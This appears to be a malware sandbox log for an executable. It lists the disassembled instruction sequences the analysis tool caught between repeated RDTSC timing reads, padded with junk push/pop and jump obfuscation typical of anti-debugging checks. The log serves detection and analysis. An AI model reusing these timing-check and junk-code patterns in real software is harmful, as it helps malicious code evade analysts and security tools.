Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0B62 second address: 4BE0B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0B66 second address: 4BE0BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FE1C0B69E44h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE1C0B69E3Dh 0x0000001a sub si, 0EF6h 0x0000001f jmp 00007FE1C0B69E41h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FE1C0B69E40h 0x0000002b add cl, 00000018h 0x0000002e jmp 00007FE1C0B69E3Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07A5 second address: 4BE07AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07AB second address: 4BE07AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07AF second address: 4BE07BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07BF second address: 4BE07C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07C3 second address: 4BE07C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07C9 second address: 4BE07DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE07DB second address: 4BE0804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C0EF51F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0804 second address: 4BE080A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE080A second address: 4BE080E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE06F1 second address: 4BE06F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE06F7 second address: 4BE0720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE1C0EF51F7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0720 second address: 4BE0731 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 3Fh 0x00000005 mov edi, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0731 second address: 4BE0735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0735 second address: 4BE0744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0744 second address: 4BE074A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE074A second address: 4BE074E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE074E second address: 4BE0752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0202 second address: 4BF0208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0208 second address: 4BF0230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE1C0EF51EEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0230 second address: 4BF0234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0234 second address: 4BF0251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0251 second address: 4BF0261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0261 second address: 4BF0279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0279 second address: 4BF027D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF027D second address: 4BF0281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0281 second address: 4BF0287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF0287 second address: 4BF028D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BF028D second address: 4BF0291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D0D second address: 4C20D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FE1C0EF51F4h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D27 second address: 4C20D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D2D second address: 4C20D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D31 second address: 4C20D5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C0B69E47h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D5B second address: 4C20D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D61 second address: 4C20D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D65 second address: 4C20D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D74 second address: 4C20D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D78 second address: 4C20D8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D8B second address: 4C20D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20D91 second address: 4C20DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a call 00007FE1C0EF51EDh 0x0000000f push esi 0x00000010 pop edi 0x00000011 pop eax 0x00000012 jmp 00007FE1C0EF51EDh 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE1C0EF51F8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20DD7 second address: 4C20DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20DDB second address: 4C20DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20DE1 second address: 4C20DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003A1 second address: 4C003D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FE1C0EF51F8h 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003D3 second address: 4C003D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003D7 second address: 4C003DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003DD second address: 4C003E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003E3 second address: 4C003E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003E7 second address: 4C003F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ah, bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003F9 second address: 4C003FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C003FE second address: 4C00470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, E5h 0x00000005 jmp 00007FE1C0B69E42h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov al, 51h 0x00000012 push ebx 0x00000013 mov al, 09h 0x00000015 pop edx 0x00000016 popad 0x00000017 mov eax, dword ptr [ebp+08h] 0x0000001a jmp 00007FE1C0B69E3Eh 0x0000001f and dword ptr [eax], 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FE1C0B69E3Dh 0x0000002b sub si, 3566h 0x00000030 jmp 00007FE1C0B69E41h 0x00000035 popfd 0x00000036 call 00007FE1C0B69E40h 0x0000003b pop ecx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C00470 second address: 4C004BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51EEh 0x00000008 mov esi, 44302011h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 and dword ptr [eax+04h], 00000000h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FE1C0EF51F8h 0x0000001d jmp 00007FE1C0EF51F5h 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE05FD second address: 4BE0616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 80h 0x00000006 popad 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE1C0B69E3Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BE0616 second address: 4BE0653 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0EF51F7h 0x00000009 add eax, 5FA782AEh 0x0000000f jmp 00007FE1C0EF51F9h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C00062 second address: 4C00075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov ah, bl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C00262 second address: 4C00281 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop eax 0x00000010 mov esi, ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20656 second address: 4C2065A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C2065A second address: 4C20660 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20660 second address: 4C2067B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C2067B second address: 4C20719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FE1C0EF51F8h 0x0000000b xor ecx, 5B844B88h 0x00000011 jmp 00007FE1C0EF51EBh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a movsx edi, ax 0x0000001d mov ah, 27h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FE1C0EF51F3h 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov esi, 2B2B7CFBh 0x0000002e pushfd 0x0000002f jmp 00007FE1C0EF51F0h 0x00000034 jmp 00007FE1C0EF51F5h 0x00000039 popfd 0x0000003a popad 0x0000003b xchg eax, ecx 0x0000003c jmp 00007FE1C0EF51EEh 0x00000041 push eax 0x00000042 jmp 00007FE1C0EF51EBh 0x00000047 xchg eax, ecx 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b mov ch, 5Dh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20719 second address: 4C207DB instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FE1C0B69E43h 0x0000000d add si, 889Eh 0x00000012 jmp 00007FE1C0B69E49h 0x00000017 popfd 0x00000018 popad 0x00000019 mov eax, dword ptr [778165FCh] 0x0000001e jmp 00007FE1C0B69E3Eh 0x00000023 test eax, eax 0x00000025 jmp 00007FE1C0B69E40h 0x0000002a je 00007FE2336DD023h 0x00000030 jmp 00007FE1C0B69E40h 0x00000035 mov ecx, eax 0x00000037 jmp 00007FE1C0B69E40h 0x0000003c xor eax, dword ptr [ebp+08h] 0x0000003f jmp 00007FE1C0B69E41h 0x00000044 and ecx, 1Fh 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007FE1C0B69E3Ch 0x0000004e add ax, 9E88h 0x00000053 jmp 00007FE1C0B69E3Bh 0x00000058 popfd 0x00000059 push eax 0x0000005a push edx 0x0000005b mov bl, ah 0x0000005d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C207DB second address: 4C20836 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0EF51EBh 0x00000008 adc ecx, 11916ACEh 0x0000000e jmp 00007FE1C0EF51F9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 ror eax, cl 0x00000019 jmp 00007FE1C0EF51EEh 0x0000001e leave 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FE1C0EF51F7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C20836 second address: 4C2089C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00532014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FE1C529A69Ch 0x00000024 push FFFFFFFEh 0x00000026 pushad 0x00000027 call 00007FE1C0B69E3Ch 0x0000002c mov edx, esi 0x0000002e pop eax 0x0000002f mov dl, E4h 0x00000031 popad 0x00000032 pop eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FE1C0B69E3Bh 0x0000003c add cx, 804Eh 0x00000041 jmp 00007FE1C0B69E49h 0x00000046 popfd 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C2089C second address: 4C208A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C208A1 second address: 4C208B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE1C0B69E3Dh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C208B4 second address: 4C208C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 ret 0x00000008 nop 0x00000009 push eax 0x0000000a call 00007FE1C5625AABh 0x0000000f mov edi, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C208C4 second address: 4C208C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4C208C8 second address: 4C208CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0017 second address: 4BD001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD001B second address: 4BD0021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0021 second address: 4BD0060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0B69E42h 0x00000009 add al, FFFFFF88h 0x0000000c jmp 00007FE1C0B69E3Bh 0x00000011 popfd 0x00000012 mov ax, E8FFh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FE1C0B69E40h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0060 second address: 4BD0066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0066 second address: 4BD0076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0076 second address: 4BD007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD007B second address: 4BD00FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 76DA522Eh 0x00000008 pushfd 0x00000009 jmp 00007FE1C0B69E3Fh 0x0000000e and ax, A2DEh 0x00000013 jmp 00007FE1C0B69E49h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e jmp 00007FE1C0B69E3Eh 0x00000023 and esp, FFFFFFF8h 0x00000026 pushad 0x00000027 push ecx 0x00000028 pushfd 0x00000029 jmp 00007FE1C0B69E3Dh 0x0000002e xor si, 9BC6h 0x00000033 jmp 00007FE1C0B69E41h 0x00000038 popfd 0x00000039 pop ecx 0x0000003a movsx ebx, ax 0x0000003d popad 0x0000003e xchg eax, ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD00FB second address: 4BD00FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD00FF second address: 4BD0103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0103 second address: 4BD0109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 4BD0109 second address: 4BD0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E43h 0x00000009 rdtsc
